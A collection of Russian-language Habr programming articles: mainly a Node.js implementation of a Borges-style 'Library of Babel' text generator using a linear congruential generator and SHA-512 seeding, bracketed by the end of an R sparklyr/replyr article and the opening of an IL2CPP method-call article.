## if (!is.null(remove)) {
## victims <- intersect(remove, names(nameList))
## nameList[victims] <<- NULL
## return(victims)
## }
## nm <- paste(prefix, suffix, sprintf("%010d", count),
## sep = "_")
## nameList[[nm]] <<- 1
## count <<- count + 1
## nm
## }
## }
##
##
```
Например, чтобы объединить несколько таблиц, хорошее решение для некоторых источников данных — вызывать `compute` после каждого объединения (иначе полученный SQL может стать длинным и трудным для понимания и в поддержке). Код выглядит примерно так:
```
# создание данных для примера
names <- paste('table', 1:5, sep='_')
tables <- lapply(names,
function(ni) {
di <- data.frame(key= 1:3)
di[[paste('val',ni,sep='_')]] <- runif(nrow(di))
copy_to(sc, di, ni)
})
# собственный генератор временных имён
tmpNamGen <- replyr::makeTempNameGenerator('JOINTMP')
# объединение слева таблиц в последовательности
joined <- tables[[1]]
for(i in seq(2,length(tables))) {
ti <- tables[[i]]
if(i
```
Аккуратное введение и управление временными данными может сохранить ресурсы (и время, и место) и значительно улучшить результаты. Нам кажется хорошей практикой задавать в явном виде генератор временных имён, передавать его во все преобразования `Sparklyr`, а затем очищать временные значения все вместе, когда результаты от них больше не зависят.
Заключение
----------
Если вы хотите тщательно контролировать обработку данных в `Spark` или БД с помощью `R`, стоит рассмотреть `replyr` в дополнение к `[dplyr](https://cran.r-project.org/web/packages/dplyr/index.html)` и `sparklyr`.
```
sparklyr::spark_disconnect(sc)
rm(list=ls())
gc()
## used (Mb) gc trigger (Mb) max used (Mb)
## Ncells 821292 43.9 1442291 77.1 1168576 62.5
## Vcells 1364897 10.5 2552219 19.5 1694265 13.0
``` | https://habr.com/ru/post/334398/ | null | ru | null |
# Реализация Вавилонской библиотеки
В этой статье Вы узнаете всё о Вавилонской библиотеке, а самое главное — как воссоздать её, да и вообще любую библиотеку.
Начнём с цитат произведения «[Вавилонская библиотека](http://www.library.ru/lib/book.php?b_uid=42)» [Луиса Борхеса](https://ru.wikipedia.org/wiki/%D0%91%D0%BE%D1%80%D1%85%D0%B5%D1%81,_%D0%A5%D0%BE%D1%80%D1%85%D0%B5_%D0%9B%D1%83%D0%B8%D1%81).
**Цитата**
> *«Вселенная – некоторые называют ее Библиотекой – состоит из огромного, возможно, бесконечного числа шестигранных галерей, с широкими вентиляционными колодцами, огражденными невысокими перилами. Из каждого шестигранника видно два верхних и два нижних этажа – до бесконечности.»*
> *«Библиотека – это шар, точный центр которого находится в одном из шестигранников, а поверхность – недосягаема. На каждой из стен каждого шестигранника находится пять полок, на каждой полке – тридцать две книги одного формата, в каждой книге четыреста десять страниц, на каждой странице сорок строчек, в каждой строке около восьмидесяти букв черного цвета. Буквы есть и на корешке книги, но они не определяют и не предвещают того, что скажут страницы. Это несоответствие, я знаю, когда-то казалось таинственным.»*
Если Вы войдёте в случайный шестиугольник, подойдёте к любой стене, взглянете на любую полку и возьмёте больше всего понравившуюся вам книгу, то, скорее всего, огорчитесь. Ведь Вы ожидали узнать там о смысле жизни, но увидели какой-то непонятный набор символов. Но не стоит так быстро огорчаться! Большая часть книг бессмысленна, ибо они представляют собой комбинаторный перебор всех возможных вариантов двадцати пяти знаков (**именно такой алфавит использовал Борхес в своей библиотеке, но далее читатель узнает, что в библиотеке может быть сколько угодно символов**). Главный закон библиотеки — в ней не существует двух абсолютно одинаковых книг, соответственно их число конечно, и библиотека тоже когда-нибудь закончится. Борхес же считал, что библиотека периодична:
**Цитата**
> *«Возможно, страх и старость обманывают меня, но я думаю, что человеческий род – единственный – близок к угасанию, а Библиотека сохранится: освещенная, необитаемая, бесконечная, абсолютно неподвижная, наполненная драгоценными томами, бесполезная, нетленная, таинственная. Я только что написал бесконечная. Это слово я поставил не из любви к риторике; думаю, вполне логично считать, что мир бесконечен. Те же, кто считает его ограниченным, допускают, что где-нибудь в отдалении коридоры, и лестницы, и шестигранники могут по неизвестной причине кончиться, – такое предположение абсурдно. Те, кто воображает его без границ, забывают, что ограничено число возможных книг. Я осмеливаюсь предложить такое решение этой вековой проблемы: Библиотека безгранична и периодична. Если бы вечный странник пустился в путь в каком-либо направлении, он смог бы убедиться по прошествии веков, что те же книги повторяются в том же беспорядке (который, будучи повторенным, становится порядком – Порядком). Эта изящная надежда скрашивает мое одиночество.»*
В сравнении с бессмыслицей, книг, содержание которых человек может хоть как-то понять, очень мало, но это не меняет того факта, что библиотека содержит все тексты, которые были и будут когда-либо придуманы человеком. Да и к тому же Вы с детства привыкли считать одни последовательности символов оссмысленными, а другие — нет. На самом деле, в контексте библиотеки разницы между ними нет. Но то, что имеет смысл, имеет куда меньший процент, и мы называем это языком. Это средство общения между людьми. Любой язык содержит в себе всего несколько десятков тысяч слов, из которых мы знаем 70% от силы, отсюда и получается, что большую часть комбинаторного перебора книг интерпретировать мы не можем. А кто-то страдает [апофенией](https://ru.wikipedia.org/wiki/%D0%90%D0%BF%D0%BE%D1%84%D0%B5%D0%BD%D0%B8%D1%8F) и даже в случайных наборах символов видит скрытый смысл. А ведь это неплохая идея для [стеганографии](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%B3%D0%B0%D0%BD%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F)! Что ж, продолжить обсуждение этой темы предлагаю в комментариях.
Перед тем, как перейти к реализации этой библиотеки, удивлю вас интересным фактом: если Вы захотите воссоздать Вавилонскую библиотеку Луиса Борхеса, у вас ничего не получится, ибо её объёмы превосходят объём видимой Вселенной в 10^611338 (!) раз. А о том, что будет происходить в ещё более крупных библиотеках, мне даже страшно подумать.
Реализация библиотеки
---------------------
### Описание модуля
Наше небольшое вступление закончилось. Но оно не лишено смысла: теперь Вы понимаете, что из себя представляет Вавилонская библиотека, и читать дальше будет только интереснее. Но я уйду от изначальной идеи, мне хотелось создать «универсальную» библиотеку, о которой речь пойдёт далее. Писать буду на JavaScript под Node.js.Что должна уметь библиотека?
* Быстро находить нужный текст и выдавать его дислокацию в библиотеке
* Определять название книги
* Быстро находить книгу с нужным названием
Помимо этого, она должна быть универсальной, т.е. любой из параметров библиотеки может быть изменён, если я этого захочу. Что ж, я думаю, что сначала покажу весь код модуля, мы его детально разберём, посмотрим, как он работает, и я выскажу несколько слов. [Github-репозиторий](https://github.com/HuHguZ/libraryofbabel)
Главный файл — index.js, там описана вся логика библиотеки, содержимое этого файла я и буду объяснять.
```
let sha512 = require(`js-sha512`);
```
Подключаем модуль, реализующий алгоритм хеширования [sha512](https://ru.wikipedia.org/wiki/SHA-2). Вам это может показаться странным, но он нам ещё пригодится.
Что на выходе у нашего модуля? Он возвращает функцию, вызов которой вернёт объект библиотеки со всеми нужными методами. Мы могли бы вернуть его сразу, но тогда управление библиотекой не было бы таким удобным, когда мы передаём параметры в функцию и получаем «нужную» библиотеку. Это и позволит нам создать «универсальную» библиотеку. Поскольку я стараюсь писать в стиле ES6, то моя стрелочная функция принимает в качестве параметров объект, который впоследствии будет деструктурирован на нужные переменные:
```
module.exports = ({
lengthOfPage = 4819,
lengthOfTitle = 31,
digs = '0123456789abcdefghijklmnopqrstuvwxyz',
alphabet = 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя, .',
wall = 5,
shelf = 7,
volume = 31,
page = 421,
} = {}) => {
//немного магии...
};
```
Теперь пробежимся по параметрам. В качестве стандартных числовых параметров я решил выбрать простые числа, ибо мне показалось, что так будет интереснее.
* **lengthOfPage** — число, количество символов на одной странице. По умолчанию 4819. Если факторизовать это число, получим 61 и 79. 61 строка по 79 символов, или наоборот, но мне предпочтительнее первый вариант.
* **lengthOfTitle** — число, количество символов в названии заголовка книги.
* **digs** — строка, возможные цифры числа с основанием, равным длине этой строки. Для чего это число нужно? В нём будет содержаться номер (идентификатор) шестигранника, в который мы хотим перейти. По умолчанию это латиница в нижнем регистре и цифры 0-9. Большая часть текста закодирована именно здесь, поэтому это будет большое число — несколько тысяч разрядов (зависит от количества символов на странице), но работа с ним будет производиться посимвольно.
* **alphabet** — строка, символы, которые мы хотим видеть в библиотеке. Она будет наполнена именно ими. Чтобы всё работало правильно, количество символов алфавита должно равняться количеству символов в строки с возможными цифрами числа, идентефицирующего шестигранник.
* **wall** — число, максимальный номер стены, по умолчанию 5
* **shelf** — число, максимальный номер полки, по умолчанию 7
* **volume** — число, максимальный номер книги, по умолчанию 31
* **page** — число, максимальный номер страницы, по умолчанию 421
Как вы можете заметить, это мало походит на настоящую Вавилонскую библиотеку Луиса Борхеса. Но я уже не раз говорил, что мы будем создавать «универсальные» библиотеки, которые могут быть такими, какими мы захотим их увидеть (поэтому номер шестигранника можно начать интерпретировать как-то иначе, нап. просто идентификатор какого-то места, где хранится нужная информация). Вавилонская библиотека — лишь одна из них. Но у всех них много общего — за их работоспособность отвечает один алгоритм, о котором сейчас пойдёт речь.
### Алгоритмы поиска и выдачи страниц
Когда мы переходим по какому-то адресу, мы видим содержимое страницы. Если мы ещё раз перейдём по тому же адресу, содержимое должно быть абсолютно таким же. Данное свойство библиотек обеспечивает алгоритм генерации псевдослучайных чисел — [Линейный конгруэнтный метод](https://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D0%BD%D0%B5%D0%B9%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BD%D0%B3%D1%80%D1%83%D1%8D%D0%BD%D1%82%D0%BD%D1%8B%D0%B9_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4). Когда нам нужно выбрать символ для генерации адреса или, наоборот, содержимого страницы, он будет нам помогать, а в качестве зерна будут использоваться номера страниц, полок и т.д. Конфиг моего ГПСЧ: m = 2^32 (4294967296), a = 22695477, c = 1. Хочется ещё добавить, что в нашей реализации от линейного конгруэнтного метода остался лишь принцип генерации чисел, остальное изменено. Двигаемся по листингу программы дальше:
**Код**
```
module.exports = ({
lengthOfPage = 4819,
lengthOfTitle = 31,
digs = '0123456789abcdefghijklmnopqrstuvwxyz',
alphabet = 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя, .',
wall = 5,
shelf = 7,
volume = 31,
page = 421,
} = {}) => {
let seed = 13; //Начальное значение зерна
const rnd = (min = 1, max = 0) => { //генерируем псевдослучаное число
//на основе зерна от min до max
seed = (seed * 22695477 + 1) % 4294967296; //вычисляем псевдослучайное число
// и записываем его в зерно
return min + seed / 4294967296 * (max - min); //масштабируем и возвращаем
// получившееся число
};
const pad = (s, size) => s.padStart(size, `0`); //дополнение строки данными
// до нужной длины для большей хаотичности
let getHash = str => parseInt(sha512(str).slice(0, 7), 16); //генератор зерён
const mod = (a, b) => ((a % b) + b) % b; //изменённое деление по модулю
const digsIndexes = {}; //тут храним индексы возможных цифр
//нашего идентификатора в строке digs
const alphabetIndexes = {}; //тут храним индексы возможных цифр
//нашего идентификатора в строке alphabet
Array.from(digs).forEach((char, position) => { //для каждого символа строки digs
digsIndexes[char] = position; //записываем в объект позицию символа
//доступ по символу
});
Array.from(alphabet).forEach((char, position) => { //для каждого символа строки alphabet
alphabetIndexes[char] = position; //записываем в объект позицию символа
//доступ по символу
});
return {
//Тут методы объекта библиотеки
};
```
Как вы можете заметить, зерно ГПСЧ меняется после каждого получения числа, и результаты напрямую зависят от так называемой точки отсчёта — зерна, после которого числа будут нас интересовать. (мы генерируем адрес или получаем содержимое страницы)
Функция **getHash** поможет нам сгенерировать точку отсчёта. Мы просто получим хеш от каких-то данных, возьмём 7 символов, переведём в десятичную систему счисления и готово!
Функция **mod** ведёт себя так же, как и оператор %. Но в случае, если делимое a < 0 (такие ситуации возможны), функция **mod** вернёт положительное число за счёт особой структуры, нам это нужно, чтобы правильно выбирать символы из строки **alphabet** при получении содержимого страницы по адресу.
И последний кусок кода на десерт — возвращаемый объект библиотеки:
**Код**
```
return {
wall,
shelf,
volume,
page,
lengthOfPage,
lengthOfTitle,
search(searchStr) {
let wall = `${(Math.random() * this.wall + 1 ^ 0)}`,
shelf = `${(Math.random() * this.shelf + 1 ^ 0)}`,
volume = pad(`${(Math.random()* this.volume + 1 ^ 0)}`, 2),
page = pad(`${(Math.random()* this.page + 1 ^ 0)}`, 3),
locHash = getHash(`${wall}${shelf}${volume}${page}`),
hex = ``,
depth = Math.random() * (this.lengthOfPage - searchStr.length) ^ 0;
for (let i = 0; i < depth; i++){
searchStr = alphabet[Math.random() * alphabet.length ^ 0] + searchStr;
}
seed = locHash;
for (let i = 0; i < searchStr.length; i++){
let index = alphabetIndexes[searchStr[i]] || -1,
rand = rnd(0, alphabet.length),
newIndex = mod(index + parseInt(rand), digs.length),
newChar = digs[newIndex];
hex += newChar;
}
return `${hex}-${wall}-${shelf}-${+volume}-${+page}`;
},
searchExactly(text) {
const pos = Math.random() * (this.lengthOfPage - text.length) ^ 0;
return this.search(`${` `.repeat(pos)}${text}${` `.repeat(this.lengthOfPage - (pos + text.length))}`);
},
searchTitle(searchStr) {
let wall = `${(Math.random() * this.wall + 1 ^ 0)}`,
shelf = `${(Math.random() * this.shelf + 1 ^ 0)}`,
volume = pad(`${(Math.random()* this.volume + 1 ^ 0)}`, 2),
locHash = getHash(`${wall}${shelf}${volume}`),
hex = ``;
searchStr = searchStr.substr(0, this.lengthOfTitle);
searchStr = searchStr.length == this.lengthOfTitle ? searchStr : `${searchStr}${` `.repeat(this.lengthOfTitle - searchStr.length)}`;
seed = locHash;
for (let i = 0; i < searchStr.length; i++){
let index = alphabetIndexes[searchStr[i]],
rand = rnd(0, alphabet.length),
newIndex = mod(index + parseInt(rand), digs.length),
newChar = digs[newIndex];
hex += newChar;
}
return `${hex}-${wall}-${shelf}-${+volume}`;
},
getPage(address) {
let addressArray = address.split(`-`),
hex = addressArray[0],
locHash = getHash(`${addressArray[1]}${addressArray[2]}${pad(addressArray[3], 2)}${pad(addressArray[4], 3)}`),
result = ``;
seed = locHash;
for (let i = 0; i < hex.length; i++) {
let index = digsIndexes[hex[i]],
rand = rnd(0, digs.length),
newIndex = mod(index - parseInt(rand), alphabet.length),
newChar = alphabet[newIndex];
result += newChar;
}
seed = getHash(result);
while (result.length < this.lengthOfPage) {
result += alphabet[parseInt(rnd(0, alphabet.length))];
}
return result.substr(result.length - this.lengthOfPage);
},
getTitle(address) {
let addressArray = address.split(`-`),
hex = addressArray[0],
locHash = getHash(`${addressArray[1]}${addressArray[2]}${pad(addressArray[3], 2)}`),
result = ``;
seed = locHash;
for (let i = 0; i < hex.length; i++) {
let index = digsIndexes[hex[i]],
rand = rnd(0, digs.length),
newIndex = mod(index - parseInt(rand), alphabet.length),
newChar = alphabet[newIndex];
result += newChar;
}
seed = getHash(result);
while (result.length < this.lengthOfTitle) {
result += alphabet[parseInt(rnd(0, alphabet.length))];
}
return result.substr(result.length - this.lengthOfTitle);
}
};
```
В начале мы записываем в него свойства библиотеки, которые я описывал ранее. Вы можете изменить их даже после завершения вызова главной функции (которую, в принципе, можно называть конструктором, но мой код слабо похож на классовую реализацию библиотеки, поэтому ограничусь словом «главной»). Возможно, такое поведение не совсем адекватно, но зато гибко. Теперь пробежимся по каждому методу.
### Метод search
```
search(searchStr) {
let wall = `${(Math.random() * this.wall + 1 ^ 0)}`,
shelf = `${(Math.random() * this.shelf + 1 ^ 0)}`,
volume = pad(`${(Math.random() * this.volume + 1 ^ 0)}`, 2),
page = pad(`${(Math.random() * this.page + 1 ^ 0)}`, 3),
locHash = getHash(`${wall}${shelf}${volume}${page}`),
hex = ``,
depth = Math.random() * (this.lengthOfPage - searchStr.length) ^ 0;
for (let i = 0; i < depth; i++){
searchStr = alphabet[Math.random() * alphabet.length ^ 0] + searchStr;
}
seed = locHash;
for (let i = 0; i < searchStr.length; i++){
let index = alphabetIndexes[searchStr[i]] || -1,
rand = rnd(0, alphabet.length),
newIndex = mod(index + parseInt(rand), digs.length),
newChar = digs[newIndex];
hex += newChar;
}
return `${hex}-${wall}-${shelf}-${+volume}-${+page}`;
}
```
Возвращает адрес строки **searchStr** в библиотеке. Для этого случайным образом выбираем **wall, shelf, volume, page**. **volume** и **page** также дополняем нулями до нужной длины. Далее конкатенируем их в строку для передачи в функцию **getHash**. Полученный **locHash** — и есть начальная точка отсчёта, т.е. зерно.
Для большей непредсказуемости дополняем **searchStr** **depth** псевдослучайными символами алфавита, присваиваем зерну **seed** значение **locHash**. На данном этапе неважно, как мы будем дополнять строку, поэтому можно использовать встроенный в JavaScript ГПСЧ, это некритично. Можно и вовсе от него отказаться, чтобы интересующие нас результаты были всегда в начале страницы.
Осталось дело за малым — сгенерировать идентификатор шестигранника. Для каждого символа строки **searchStr** выполняем алгоритм:
1. Получить номер символа **index** в алфавите из объекта **alphabetIndexes**. Если его нет, вернуть -1, но если такое произошло, вы определённо что-то делаете не так.
2. Сгенерировать псевдослучайное число **rand**, используя наш ГПСЧ, в диапазоне от 0 до длины алфавита.
3. Вычислить новый индекс, который рассчитывается как сумма номера символа **index** и псевдослучайного числа **rand**, поделённая по модулю на длину **digs**.
4. Таким образом мы получили цифру идентификатора шестигранника — **newChar** (взяв её из **digs**).
5. Добавляем **newChar** к идентификатору шестигранника **hex**
По завершению генерации **hex** возвращаем полный адрес места, в котором содержится искомая строка. Компоненты адреса разделены дефисом.
### Метод searchExactly
```
searchExactly(text) {
const pos = Math.random() * (this.lengthOfPage - text.length) ^ 0;
return this.search(`${` `.repeat(pos)}${text}${` `.repeat(this.lengthOfPage - (pos + text.length))}`);
}
```
Этот метод делает всё то же самое, что и метод **search**, но заполняет всё свободное пространство (делает искомую строку **searchStr** длиной в **lengthOfPage** символов) пробелами. При просмотре такой страницы будет казаться, что на ней нет ничего, кроме вашего текста.
### Метод searchTitle
```
searchTitle(searchStr) {
let wall = `${(Math.random() * this.wall + 1 ^ 0)}`,
shelf = `${(Math.random() * this.shelf + 1 ^ 0)}`,
volume = pad(`${(Math.random()* this.volume + 1 ^ 0)}`, 2),
locHash = getHash(`${wall}${shelf}${volume}`),
hex = ``;
searchStr = searchStr.substr(0, this.lengthOfTitle);
searchStr = searchStr.length == this.lengthOfTitle ? searchStr : `${searchStr}${` `.repeat(this.lengthOfTitle - searchStr.length)}`;
seed = locHash;
for (let i = 0; i < searchStr.length; i++){
let index = alphabetIndexes[searchStr[i]],
rand = rnd(0, alphabet.length),
newIndex = mod(index + parseInt(rand), digs.length),
newChar = digs[newIndex];
hex += newChar;
}
return `${hex}-${wall}-${shelf}-${+volume}`;
}
```
Метод **searchTitle** возвращает адрес книги с названием **searchStr**. Внутри он очень похож на **search**. Отличие заключается в том, что при вычислении **locHash** мы не используем страницу, чтобы привязать к книге её название. Оно не должно зависеть от страницы. **searchStr** обрезается до длины **lengthOfTitle** и при необходимости дополняется пробелами. Аналогично генерируется идентификатор шестигранника и возвращается полученный адрес. Обратите внимание, в нём нет страницы, как это было при поиске точного адреса произвольного текста. Так что если хотите узнать, что находится в книге с придуманным Вами названием, определитесь со страницей, на которую хотите перейти.
### Метод getPage
```
getPage(address) {
let addressArray = address.split(`-`),
hex = addressArray[0],
locHash = getHash(`${addressArray[1]}${addressArray[2]}${pad(addressArray[3], 2)}${pad(addressArray[4], 3)}`),
result = ``;
seed = locHash;
for (let i = 0; i < hex.length; i++) {
let index = digsIndexes[hex[i]],
rand = rnd(0, digs.length),
newIndex = mod(index - parseInt(rand), alphabet.length),
newChar = alphabet[newIndex];
result += newChar;
}
seed = getHash(result);
while (result.length < this.lengthOfPage) {
result += alphabet[parseInt(rnd(0, alphabet.length))];
}
return result.substr(result.length - this.lengthOfPage);
}
```
Противоположен методу **search**. Его задача — по заданному адресу выдать содержимое страницы. Для этого преобразуем адрес в массив по разделителю "-". Теперь у нас есть массив компонентов адреса: идентификатор шестигранника, стена, полка, книга, страница. Вычисляем **locHash** так же, как это делали в методе **search**. Мы получим такое же число, которое было при генерации адреса. Это означает, что ГПСЧ будет выдавать такие же числа, именно это поведение и обеспечивает обратимость наших преобразований над исходным текстом. Для его вычисления над каждым символом (де-факто, это цифра) идентификатора шестигранника выполняем алгоритм:
1. Вычисляем **index** в строке **digs**. Возьмём его из **digsIndexes**.
2. Используя ГПСЧ, генерируем псевдослучайное число **rand** в диапазоне 0 до основания системы счисления большого числа, равной длине строки, содержащей цифры этого прекрасного числа. Всё очевидно.
3. Вычисляем позицию символа исходного текста **newIndex** как разность **index** и **rand**, поделённая по модулю на длину алфавита. Возможна ситуация, когда разность отрицательна, тогда обычное деление по модулю даст отрицательный индекс, что нас не устраивает, поэтому мы используем модифицированный вариант деления по модулю. (можно попробовать вариант со взятием абсолютного значения от приведённой выше формулы, это тоже решает проблему отрицательных чисел, но на практике это ещё не проверялось)
4. Символ текста страницы — **newChar**, получаем по индексу из алфавита.
5. Добавляем символ текста к результату.
Полученный на данном этапе результат не всегда заполнит всю страницу, поэтому вычислим новое зерно от текущего результата и заполним свободное место символами из алфавита. В выборе символа нам помогает ГПСЧ.
На этом вычисление содержимого страницы заканчивается, мы возвращаем его, не забыв обрезать до максимальной длины. Быть может, во входном адресе идентификатор шестигранника был неприлично большим.
### Метод getTitle
```
getTitle(address) {
let addressArray = address.split(`-`),
hex = addressArray[0],
locHash = getHash(`${addressArray[1]}${addressArray[2]}${pad(addressArray[3], 2)}`),
result = ``;
seed = locHash;
for (let i = 0; i < hex.length; i++) {
let index = digsIndexes[hex[i]],
rand = rnd(0, digs.length),
newIndex = mod(index - parseInt(rand), alphabet.length),
newChar = alphabet[newIndex];
result += newChar;
}
seed = getHash(result);
while (result.length < this.lengthOfTitle) {
result += alphabet[parseInt(rnd(0, alphabet.length))];
}
return result.substr(result.length - this.lengthOfTitle);
}
```
Ну, тут такая же история. Представьте, что читаете описание предыдущего метода, только при вычислении зёрен ГПСЧ не учитываете номер страницы, а дополнение и обрезание результата производите до максимальной длины названия книги — **lengthOfTitle**.
Испытание модуля для создания библиотек
---------------------------------------
После того, как мы разобрали принцип работы любой вавилонско-подобной библиотеки — пора бы испытать это всё на практике. Буду использовать конфиг, максимально близкий к созданному Луисом Борхесом. Искать будем простую фразу «habr.com»:
```
const libraryofbabel = require(`libraryofbabel`)({
lengthOfPage: 3200,
alphabet: `abcdefghijklmnopqrstuvwxyz, .`,
//латиница, запятая, пробел, точка
digs: `0123456789abcdefghijklmnopqrs`,
//идентификатор - 29-ричное число
wall: 4,
shelf: 5,
volume: 32,
page: 410
//конфиг Вавилонской библиотеки
});
//ищем истину
console.log(libraryofbabel.search(`habr.com`));
```
Запускаем, результат:
На данный момент это нам ничего не даёт. Но давайте же узнаем, что скрывается за этим адресом! Код будет таким:
```
const libraryofbabel = require(`libraryofbabel`)({
lengthOfPage: 3200,
alphabet: `abcdefghijklmnopqrstuvwxyz, .`,
//латиница, запятая, пробел, точка
digs: `0123456789abcdefghijklmnopqrs`,
//идентификатор - 29-ричное число
wall: 4,
shelf: 5,
volume: 32,
page: 410
//конфиг Вавилонской библиотеки
});
const text = `habr.com`;
//наш текст
const adress = libraryofbabel.search(text);
//сохраняем адрес в переменную
const clc = require(`cli-color`);
//модуль для форматирования вывода из консоли
console.log(libraryofbabel.getPage(adress).replace(text, clc.green(text)));
```
Результат:
Мы нашли то, что искали, в бесконечном множестве бессмысленных (я б поспорил) страниц!
Но это далеко не единственное место, где находится эта фраза. При следующем запуске программы будет сгенерирован другой адрес. Если хотите — можете сохранять один и работать с ним. Главное, что содержимое страниц никогда не меняется. Давайте посмотрим на заголовок книги, в которой находится наша фраза. Код будет следующим:
```
const libraryofbabel = require(`libraryofbabel`)({
lengthOfPage: 3200,
alphabet: `abcdefghijklmnopqrstuvwxyz, .`,
//латиница, запятая, пробел, точка
digs: `0123456789abcdefghijklmnopqrs`,
//идентификатор - 29-ричное число
wall: 4,
shelf: 5,
volume: 32,
page: 410
//конфиг Вавилонской библиотеки
});
const text = `habr.com`;
//наш текст
const adress = libraryofbabel.search(text);
//сохраняем адрес в переменную
const clc = require(`cli-color`);
//модуль для форматирования вывода из консоли
console.log(libraryofbabel.getPage(adress).replace(text, clc.green(text)));
console.log(`\nНазвание книги: ${clc.green(libraryofbabel.getTitle(adress))}`);
```
Название книги получилось примерно таким:
Честно, выглядит не очень привлекательно. Тогда давайте найдём книгу с нашей фразой в названии:
```
const libraryofbabel = require(`libraryofbabel`)({
lengthOfPage: 3200,
alphabet: `abcdefghijklmnopqrstuvwxyz, .`,
//латиница, запятая, пробел, точка
digs: `0123456789abcdefghijklmnopqrs`,
//идентификатор - 29-ричное число
wall: 4,
shelf: 5,
volume: 32,
page: 410
//конфиг Вавилонской библиотеки
});
const text = `habr.com`;
//наш текст
const adress = libraryofbabel.searchTitle(text);
//сохраняем адрес в переменную
const newAdress = `${adress}-${1}`;
//дополним адрес номером страницы
console.log(libraryofbabel.getPage(newAdress));
//откроем первую страницу этой книги
console.log(libraryofbabel.getTitle(newAdress));
//узнаем название книги, как будто бы мы его не знаем :)
```
Теперь вы понимаете, как пользоваться данной библиотекой. Продемострирую возможность создания абсолютно другой библиотеки. Теперь она будет наполнена единицами и нулями, на каждой странице будет по 100 символов, адрес будет представлять собой шестнадцатеричное число. Не забываем о соблюдении условия равенства длин алфавита и строки разрядов нашего большого числа. Искать будем, например, «10101100101010111001000000». Смотрим:
```
const libraryofbabel = require(`libraryofbabel`)({
lengthOfPage: 100,
alphabet: `1010101010101010`,
//чередуем 1 и 0, чтобы сравнять длины строк
digs: `0123456789abcdef`,
//идентификатор - 16-ричное число
wall: 4,
shelf: 5,
volume: 32,
page: 410
//конфиг Вавилонской библиотеки
});
const text = `10101100101010111001000000`;
//наш текст
const adress = libraryofbabel.search(text);
//сохраняем адрес в переменную
console.log(`\n${adress}\n`);
//Посмотрим и на адрес
const clc = require(`cli-color`);
//модуль для форматирования вывода из консоли
console.log(libraryofbabel.getPage(adress).replace(text, clc.green(text)));
console.log(`\nНазвание книги: ${clc.green(libraryofbabel.getTitle(adress))}`);
```
Давайте взглянем на поиск полного совпадения. Для этого вернёмся к старому примеру и в коде заменим **libraryofbabel.search** на **libraryofbabel.searchExactly**:
```
const libraryofbabel = require(`libraryofbabel`)({
lengthOfPage: 3200,
alphabet: `abcdefghijklmnopqrstuvwxyz, .`,
//латиница, запятая, пробел, точка
digs: `0123456789abcdefghijklmnopqrs`,
//идентификатор - 29-ричное число
wall: 4,
shelf: 5,
volume: 32,
page: 410
//конфиг Вавилонской библиотеки
});
const text = `habr.com`;
//наш текст
const adress = libraryofbabel.searchExactly(text);
//сохраняем адрес в переменную
const clc = require(`cli-color`);
//модуль для форматирования вывода из консоли
console.log(libraryofbabel.getPage(adress).replace(text, clc.green(text)));
console.log(`\nНазвание книги: ${clc.green(libraryofbabel.getTitle(adress))}`);
```
Заключение
----------
Прочитав описание алгоритма работы библиотек, вы, наверное, уже догадались, что это своего рода обман. Когда вы ищете что-то оссмысленное в библиотеке, оно просто кодируется в другой вид и выводится в другом виде. Но это так красиво подано, что начинаешь верить в эти бесконечные ряды шестигранников. На деле это не более чем математическая абстракция. Но то, что в этой библиотеке можно найти абсолютно всё, что угодно, чистая правда. Правда и то, что если Вы будете генерировать случайные последовательности символов, рано или поздно сможете получить абсолютно любой текст. Для большего понимания этой темы можете изучить [теорму о бесконечных обезьянах](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%BE_%D0%B1%D0%B5%D1%81%D0%BA%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D1%8B%D1%85_%D0%BE%D0%B1%D0%B5%D0%B7%D1%8C%D1%8F%D0%BD%D0%B0%D1%85).
Можно придумать и другие варианты реализации библиотек: использовать любой алгоритм шифрования, где шифротекст и будет как бы адресом в вашей всеобъемлющей библиотеке. Расшифровка — получение содержимого страницы. А, может, попробуем [base64](https://ru.wikipedia.org/wiki/Base64), м?
Возможное применение библиотеки — хранение паролей в каких-либо её местах. Создаёте нужный вам конфиг, узнаёте, где в библиотеке лежат ваши пароли (да-да, они уже существуют. А вы думали, это вы их придумали?), сохраняете адрес. И теперь, когда вам нужно найти какой-то пароль, просто находите его в библиотеке. Но этот подход опасен, ибо злоумышленник может узнать конфиг библиотеки и просто воспользоваться вашим адресом. Но если он не будет знать о смысле того, что он нашёл, вряд ли ваши данные попадут к нему. Да и разве такой способ хранения паролей мейнстримный? Нет, так что он имеет место быть.
Данная идея может использована для создания самых разных «библиотек». Вы можете перебирать не только символы, но и целые слова, либо даже звуки! Представьте себе место, в котором можно прослушать абсолютно любой звук, доступный для восприятия человеком, либо найти какую-то песню. В будущем я обязательно попробую реализовать это.
Веб-версия на русском языке доступна [здесь](http://62.109.31.175/), она развёрнута на моём виртуальном сервере. Всем приятных поисков смысла жизни в Вавилонской библиотеке, или какую вы захотите создать, не знаю. До свидания! :) | https://habr.com/ru/post/433336/ | null | ru | null |
# IL2CPP: вызовы методов
Это четвертая статья из серии по IL2CPP. В ней мы поговорим о том, как il2cpp.exe генерирует код C++ для вызовов методов в управляемом коде.
В частности, мы рассмотрим шесть типов вызовов:
* прямые вызовы методов экземпляра и статических методов;
* вызовы через делегат времени компиляции;
* вызовы через виртуальный метод;
* вызовы через метод интерфейса;
* вызовы через делегат времени выполнения;
* вызовы через рефлексию.
Мы обратим внимание на действия генерируемого кода C++, а также на затраты, связанные с каждым типом вызовов. Как я уже говорил, представленный код наверняка изменится в следующих версиях Unity. Но основные принципы останутся неизменными.
Предыдущие статьи из серии:
» [Введение в IL2CPP.](https://habrahabr.ru/company/plarium/blog/276589/)
» [IL2CPP: экскурсия по генерируемому коду.](https://habrahabr.ru/company/plarium/blog/280824/)
» [IL2CPP: советы по отладке генерируемого кода.](https://habrahabr.ru/company/plarium/blog/281829/)
Подготовка к работе
-------------------
